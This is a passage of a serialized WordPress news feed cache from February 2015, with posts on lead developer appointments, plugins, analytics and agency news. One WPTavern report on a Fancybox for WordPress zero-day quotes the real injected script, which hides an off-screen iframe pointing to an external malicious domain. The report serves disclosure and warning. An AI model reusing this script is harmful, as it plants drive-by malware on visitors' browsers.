WordPress consulting agency, and spends nearly 100% of her time on the WordPress.org project. She <a href=\"https://make.wordpress.org/core/2012/12/18/commit-promotions/\">received commit access</a> in late 2012, at the beginning of the 3.6 release cycle. You can follow <a href=\"https://twitter.com/helenhousandi\">@helenhousandi</a> on Twitter, and <a href=\"http://helenhousandi.com/\">visit her website</a> as well.</p>\n<p>These are the first additions to the list of lead developers for WordPress since Andrew Nacin became a lead in 2012, before the WordPress 3.5 release.</p>\n<p>I asked Andrew Nacin how these decisions are made, and he responded with the following:</p>\n<blockquote>\n<p class=\"p1\"><span class=\"s1\">After each release, the lead developers review the current list of guest committers, potentially propose new committers, etc. Any proposals are finalized through consensus.</span></p>\n</blockquote>\n<p>This is a big honor and an uncommon occurrence for the WordPress project. Major congratulations are due to both Helen and Dion.</p>\n<p>Also, we all owe Peter and Ryan a huge round of applause and thanks for their contributions &#8212; past, present, and future &#8212; to the WordPress project.</p>\n<p>The WordPress.org <a href=\"https://wordpress.org/about\">About</a> page maintains the list of lead developers for WordPress, and with yesterday and today&#8217;s announcement, we&#8217;re back to five Lead Developers plus Matt Mullenweg as Project Lead. The website now reflects these changes, with fancy (and totally serious) titles for the new lead developers.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 04 Feb 2015 22:52:18 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:15:\"Brian Krogsgard\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:36;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:76:\"WPTavern: Zero Day Vulnerability Discovered in Fancybox for WordPress Plugin\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38478\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:86:\"http://wptavern.com/zero-day-vulnerability-discovered-in-fancybox-for-wordpress-plugin\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3172:\"<p>Four hours ago, users seeking support on WordPress.org <a href=\"https://wordpress.org/support/topic/possible-malware-2?replies=41\" target=\"_blank\">reported malware injected into their sites</a> from an unknown source. The vulnerability allows for an iframe to be injected, redirecting to a &#8220;203koko&#8221; site.</p>\n<pre class=\"brush: xml; light: true; title: ; notranslate\">\n&lt;script&gt;/*&lt;![CDATA[*/if(navigator.userAgent.match(/msie/i)){document.write(\' &lt;div style=\"position:absolute;left:-2000px;width:2000px\"&gt;&lt;iframe src=\"http://203koko.eu/hjnfh/ipframe2.php\" width=\"20\" height=\"30\" &gt;&lt;/iframe&gt;&lt;/div&gt;\');}/*]]&gt;*/&lt;/script&gt;\n</pre>\n<p>After working together to determine the plugins they have in common, users identified <a href=\"https://wordpress.org/plugins/fancybox-for-wordpress/\" target=\"_blank\">Fancybox for WordPress</a> as the culprit. It has since been temporarily removed from the WordPress Plugins Directory, as it hasn&#8217;t been updated for two years and poses a security threat to users. The plugin has received more than half a million downloads and is likely in use on thousands of WordPress sites.</p>\n<p><a href=\"https://kovshenin.com/\" target=\"_blank\">Konstantin Kovshenin</a> and <a href=\"http://codeseekah.com/\" target=\"_blank\">Gennady Kovshenin</a> worked together to analyze sites from affected users to confirm the vulnerability. There is currently no patch, so users of the plugin are advised to turn it off immediately.</p>\n<blockquote class=\"twitter-tweet\" width=\"550\"><p>If you are running Fancybox for <a href=\"https://twitter.com/hashtag/WordPress?src=hash\">#WordPress</a> turn it off now! It contains a persistent XSS <a href=\"https://twitter.com/hashtag/vulnerability?src=hash\">#vulnerability</a> <a href=\"https://twitter.com/hashtag/security?src=hash\">#security</a> <a href=\"https://twitter.com/hashtag/infosec?src=hash\">#infosec</a></p>\n<p>&mdash; Gennady Kovshenin (@soulseekah) <a href=\"https://twitter.com/soulseekah/status/563054468183654400\">February 4, 2015</a></p></blockquote>\n<p></p>\n<p>Analysts at Sucuri have <a href=\"http://blog.sucuri.net/2015/02/zero-day-in-the-fancybox-for-wordpress-plugin.html\" target=\"_blank\">confirmed via Website Firewall logs</a> that the vulnerability is being actively exploited:</p>\n<blockquote><p>After some analysis, we can confirm that this plugin has a serious vulnerability that allows for malware (or any random script/content) to be added to the vulnerable site. Because it is currently unpatched, we will not disclose more information.</p>\n<p>What makes things worse, is that it’s being actively exploited in the wild, leading to many compromised websites.</p></blockquote>\n<p>Users who have this plugin installed on their sites have no other option than to disable it, as no patch is available yet. The plugin&#8217;s author, <a href=\"https://twitter.com/moskis\" target=\"_blank\">José Pardilla</a>, is aware of the issue and <a href=\"https://wordpress.org/support/topic/not-safe-2?replies=3\" target=\"_blank\">responded to an affected user</a> five hours ago in the plugin&#8217;s forum on WordPress.org. A patch should be forthcoming.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 04 Feb 2015 20:57:33 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:37;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:73:\"WPTavern: WordPress.com Adds Google Analytics for Business Customers Only\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38461\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:83:\"http://wptavern.com/wordpress-com-adds-google-analytics-for-business-customers-only\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3378:\"<p>Last week WordPress.com <a href=\"http://en.blog.wordpress.com/2015/01/29/google-analytics-for-wordpress-com-business-sites/\" target=\"_blank\">announced</a> that Google Analytics is now available for its customers on the <a href=\"https://wordpress.com/plans/\" target=\"_blank\">business tier</a>, which is priced at $299.00 per year. Users have been <a href=\"http://en.forums.wordpress.com/topic/google-analytics-please/page/3?replies=107\" target=\"_blank\">clamoring for the feature</a> for years. While many enjoy using the built-in Stats feature, it is severely limited in comparison to Google Analytics and the data is not portable if the user moves to another publishing platform.</p>\n<p>Business customers can now enter a GA tracking ID under Settings → Analytics screen in the new site management area.</p>\n<p><a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/google-analytics-wpdotcom.png\" rel=\"prettyphoto[38461]\"><img src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/google-analytics-wpdotcom.png?resize=1025%2C668\" alt=\"google-analytics-wpdotcom\" class=\"aligncenter size-full wp-image-38468\" /></a></p>\n<p>Access to setting up Google Analytics was added to the new backend administration area. Automattic CEO Matt Mullenweg confirms in the comments that all future new features will bypass the old /wp-admin dashboard in favor of the new interface.</p>\n<p>&#8220;[There are] no plans to put any new features into the wp-admin dashboard, beyond what comes from core updates from the open source side,&#8221; Mullenweg <a href=\"http://en.blog.wordpress.com/2015/01/29/google-analytics-for-wordpress-com-business-sites/#comment-217148\" target=\"_blank\">replied</a> to a comment on the post.</p>\n<p>&#8220;You don’t have to stop using wp-admin, and it’s not going anywhere, it’s just not where we’re focusing our energy right now,&#8221; he said, in response to a user&#8217;s confusion about the two separate admin areas. &#8220;As you’ve probably noticed, most of our new updates and iterations are happening in the new interface. You’ll see lots of improvements there in the coming months.&#8221;</p>\n<p>Users on the free and premium plans were disappointed that Google Analytics will not be available for all, given that it&#8217;s a free service. WordPress.com opted to limit the feature to business customers in order to make it more compelling for users to upgrade to the highest pricing tier. They have taken to the WordPress.com support forums to express <a href=\"http://en.forums.wordpress.com/topic/google-analytics-for-all?replies=2\" target=\"_blank\">dissatisfaction</a> in the feature&#8217;s restriction.</p>\n<p>In the past, users have adapted various <a href=\"http://en.forums.wordpress.com/topic/you-can-run-google-analytics-on-a-wordpresscom-blog-heres-how?replies=1\" target=\"_blank\">jerry-rigged methods of adding Google Analytics to WordPress.com sites</a>, using a mapped domain with Cloudflare + Google Analytics enabled. While this is a proven <a href=\"http://jonathonbalogh.com/2012/05/07/how-to-use-google-analytics-on-a-wordpress-com-blog/\" target=\"_blank\">solution</a> for adding the tracking code, it requires using a custom domain with WordPress.com, as well as the ability to follow a few technical instructions. At this time, there is no easy way to add Google Analytics to the bottom tier accounts.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 04 Feb 2015 20:16:14 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:38;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:70:\"WPTavern: Personalize Profile Headers with the BuddyPress Cover Plugin\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38414\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:80:\"http://wptavern.com/personalize-profile-headers-with-the-buddypress-cover-plugin\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3220:\"<p>Cover photos in user profiles is a design feature in place on many major social networking sites, including Facebook, Twitter, and G+. Users enjoy having the ability to further personalize their profiles beyond the default square avatar. Twitter was one of the last to add this feature to timelines in 2012, and when it did, everyone excitedly rushed to <a href=\"http://mashable.com/2012/09/18/how-to-change-twitter-header-image/\" target=\"_blank\">personalize their header images</a>.</p>\n<p>The <a href=\"https://wordpress.org/plugins/bp-cover/\" target=\"_blank\">BuddyPress Cover</a> plugin was created to bring this feature to BuddyPress sites. It allows users to upload a cover image and adapts nicely to nearly every theme.</p>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/bp-cover.png\" rel=\"prettyphoto[38414]\"><img src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/bp-cover.png?resize=724%2C489\" alt=\"bp-cover\" class=\"aligncenter size-full wp-image-38422\" /></a></p>\n<p>In addition to the AJAX image upload capabilities, the plugin allows the user to drag the image to re-position it. If the image exceeds the maximum file size, the user will see a warning at the top of the page, prompting him to select another. Believe it or not, the plugin even supports animated gifs as cover images.</p>\n<p>BuddyPress Cover also integrates with the activity stream to post an update when a user adds a new cover photo, similar to what you might see on Facebook.</p>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/bp-cover-activity-update.png\" rel=\"prettyphoto[38414]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/bp-cover-activity-update.png?resize=644%2C471\" alt=\"bp-cover-activity-update\" class=\"aligncenter size-full wp-image-38440\" /></a></p>\n<p>I tested the plugin with multiple themes and found that it basically inherits the styles and widths included in your active theme. Most likely you won&#8217;t have anything to worry about in terms of theme compatibility. The only thing I noticed is that user profile pictures will need to be larger than 140px square or else the plugin will show the mystery man in the header.</p>\n<p>The plugin&#8217;s author plans to add the same capabilities to groups so that admins add cover photos to personalize group pages. So far the plugin has received excellent reviews and users are eager to see more features added to it.</p>\n<p>User suggestions for future releases include the ability to select from previously uploaded cover photos and auto-cropping of the photo in activity updates to match the size shown in the cover area. The developer is open to suggestions and has already pushed out a few point releases in response to bug reports and requests.</p>\n<p>The BuddyPress Cover plugin is a valuable addition to any developer&#8217;s toolbox, as clients will often request features they have seen on other social networks. If you&#8217;re looking to add greater customization capabilities to user profiles while maintaining the clean design of your theme, this plugin fits the bill. You can <a href=\"https://wordpress.org/plugins/bp-cover/\" target=\"_blank\">download</a> it from WordPress.org.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 04 Feb 2015 00:03:22 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:39;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:29:\"Matt: World Pun Championships\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44646\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:45:\"http://ma.tt/2015/02/world-pun-championships/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:848:\"<blockquote><p>The Pun-Off, held annually since 1978, matches the peculiar energy of a place where the unofficial slogan is &#8220;Keep Austin Weird.&#8221; This is the city, after all, that organizes Eeyore&#8217;s Birthday Party, an outdoor costume party honoring the depressed donkey from Winnie-the-Pooh. [&#8230;]</p>\n<p>It&#8217;s a reunion of legends past. Steve Brooks, a country singer with a mop of gray hair, is the only other person besides Ziek to have won both Punslingers and Punniest of Show in the same year. Retired from competition, he now serves as a judge and emcee.</p></blockquote>\n<p><a href=\"http://www.laweekly.com/news/at-the-world-pun-championships-victory-is-easier-said-than-punned-4767308\">Everything about this article about the World Pun Championships in Austin is amazing</a>, I want to quote the entire thing.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 03 Feb 2015 23:58:00 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:40;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:64:\"WPTavern: Is WordPress Suffering From The Innovator’s Dilemma?\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38412\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:70:\"http://wptavern.com/is-wordpress-suffering-from-the-innovators-dilemma\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:4845:\"<a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/InnovationDilemmaFeaturedImage.png\" rel=\"prettyphoto[38412]\"><img class=\"size-full wp-image-38420\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/InnovationDilemmaFeaturedImage.png?resize=631%2C323\" alt=\"Innovation Dilemma Featured Image\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/37996588780@N01/273978773\">Scrabble</a> &#8211; <a href=\"https://creativecommons.org/licenses/by-sa/2.0/\">(license)</a>\n<p>I&#8217;ve used WordPress for more than seven years and I can&#8217;t think of any features it has that are innovative. I believe part of the reason is that I&#8217;ve been stuck in the WordPress bubble for so long, I haven&#8217;t been exposed to different ways of doing things. I only know the WordPress way and that&#8217;s a dangerous way of thinking.</p>\n<h2>The Innovator&#8217;s Dilemma</h2>\n<p>In 1997, <a class=\"mw-redirect\" title=\"Clayton Christensen\" href=\"http://en.wikipedia.org/wiki/Clayton_Christensen\">Clayton Christensen</a> published the <a title=\"http://en.wikipedia.org/wiki/The_Innovator%27s_Dilemma\" href=\"http://en.wikipedia.org/wiki/The_Innovator%27s_Dilemma\">Innovator&#8217;s Dilemma</a>. The book suggests that successful <a class=\"mw-redirect\" title=\"Companies\" href=\"http://en.wikipedia.org/wiki/Companies\">companies</a> can put too much emphasis on customers current needs, and fail to adopt new technology or business models that will meet their customer&#8217;s unstated or future needs. Christensen argues that such companies will eventually fall behind.</p>\n<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/InnovatorsDilemma.png\" rel=\"prettyphoto[38412]\"><img class=\"size-full wp-image-38419\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/InnovatorsDilemma.png?resize=571%2C466\" alt=\"Book Cover to Innovators Dilemma\" /></a>Book Cover to Innovators Dilemma\n<p>During his appearance at PressNomics, <a title=\"https://twitter.com/jeffr0/status/558778370792493056\" href=\"https://twitter.com/jeffr0/status/558778370792493056\">Matt Mullenweg said</a> that he’s, “worried we have become too much of an inward facing community and afraid to make a painful leap forward to make the next WordPress.” His statement is open to interpretation, but if you compare the WordPress open source project to a company and its users to customers, perhaps what he&#8217;s referring to is the idea that WordPress has fallen into the innovator&#8217;s dilemma.</p>\n<h2>External Innovation</h2>\n<p>In the Advanced WordPress Facebook group,  Joost de Valk responded to Mullenweg&#8217;s statement with, &#8220;Most innovation is done outside in, not inside out. But to be honest Matt, that’s where the problem lies too. The &#8216;inside&#8217; is very negative towards change, and is constantly throwing up hurdles. They like small incremental steps, but fear bigger ones.&#8221;</p>\n<p>Core WordPress development is done by a trusted team of people who have remained in core decision-making positions for years. It&#8217;s rare that an individual new to the community gets commit access or even gets to lead a release within two years.</p>\n<p>I don&#8217;t think it&#8217;s impossible, but if brand new contributors from outside of the WordPress bubble have little to no influence on the project, where is the opportunity for external innovation?</p>\n<h2>Leading by Example</h2>\n<p>Another statement Mullenweg made at PressNomics is that he wants to lead another release. Leading a release gives him the opportunity to lead by example and push for big changes, something he feels the community fears.</p>\n<h2>A Thought Experiment</h2>\n<p>What do you think are innovative features in WordPress? I&#8217;m especially curious to see how users answer the question versus developers. I&#8217;d also like to know what features in other publishing systems WordPress could learn from. An excellent example is the post editor in Medium which Mullenweg <a title=\"https://twitter.com/jeffr0/status/558777784932118531\" href=\"https://twitter.com/jeffr0/status/558777784932118531\">has admitted</a> offers a better experience than WordPress.</p>\n<h2>Can WordPress Avoid Irrelevance?</h2>\n<p>The road to 50% market share is tough and to some, <a title=\"http://wptavern.com/how-important-is-jetpack-on-wordpress-road-to-50-market-share#comment-63337\" href=\"http://wptavern.com/how-important-is-jetpack-on-wordpress-road-to-50-market-share#comment-63337\">is impossible</a> to achieve. Without innovation and continuous improvements to satisfy the needs of users, it&#8217;s entirely possible for WordPress to develop itself into irrelevance. Then again, what could WordPress developers do today to prevent this from happening? Is it a matter of changing philosophies and strategies or is it something else?</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 03 Feb 2015 23:20:13 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:41;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:70:\"WPTavern: Human Made Acquires Australian Based WordPress Agency Sennza\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38401\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:80:\"http://wptavern.com/human-made-acquires-australian-based-wordpress-agency-sennza\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2074:\"<a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2014/08/MergeFeaturedImage.png\" rel=\"prettyphoto[38401]\"><img class=\"size-full wp-image-28143\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2014/08/MergeFeaturedImage.png?resize=678%2C252\" alt=\"Merge Featured Image\" /></a>photo credit: <a href=\"https://www.flickr.com/photos/rutlo/3743291132/\">rutlo</a> &#8211; <a href=\"http://creativecommons.org/licenses/by/2.0/\">cc</a>\n<p><a title=\"http://hmn.md/\" href=\"http://hmn.md/\">Human Made</a> has acquired Australian based WordPress development agency <a title=\"http://www.sennza.com.au/\" href=\"http://www.sennza.com.au/\">Sennza</a>. Human Made is a development shop with more than 20 employees and has offices scattered across the world. They&#8217;re also a <a title=\"http://vip.wordpress.com/partners/\" href=\"http://vip.wordpress.com/partners/\">WordPress.com VIP partner</a>. Sennza and its three employees will continue to work from their office and become Human Made Australia.</p>\n<p>The move gives Human Made an opportunity to tap into the enterprise market in Australia as well as help out with other projects across Asia, India, and the US West Coast. According to <a title=\"http://www.sennza.com.au/2015/02/03/sennza-joining-human-made/\" href=\"http://www.sennza.com.au/2015/02/03/sennza-joining-human-made/\">Sennza&#8217;s announcement</a>, talks of the acquisition began at WordCamp Europe in Sofia, Bulgaria.</p>\n<blockquote><p>Although we had met and spoken with Human Made previously, we got the chance to really meet and hang out with most of the team while at WordCamp Europe in Sofia, Bulgaria which helped to confirm this was the right decision to make.</p></blockquote>\n<p>Earlier this year at PressNomics, one of the topics of discussion is that we&#8217;re at the beginning stages of a consolidation period for agencies in the WordPress space. This move solidifies the belief that acquisitions involving 10 employees or less appear likely as larger shops look for opportunities to expand their reach and acquire talent at the same time.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 03 Feb 2015 22:11:05 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:42;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:84:\"WPTavern: How a Crowdsourced Code Snippet Library Can Boost Your Open Source Project\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=37151\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:94:\"http://wptavern.com/how-a-crowdsourced-code-snippet-library-can-boost-your-open-source-project\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:4387:\"<p>Roughly one year ago this month Pippin Williamson made the first commit to Easy Digital Download&#8217;s &#8220;<a href=\"https://github.com/easydigitaldownloads/library\" target=\"_blank\">Library</a>&#8221; repository on GitHub. He created the library to be a community-maintained repository of code snippets that modify the default behavior of Easy Digital Downloads.</p>\n<p>So far the library has received 113 commits from eight contributors, 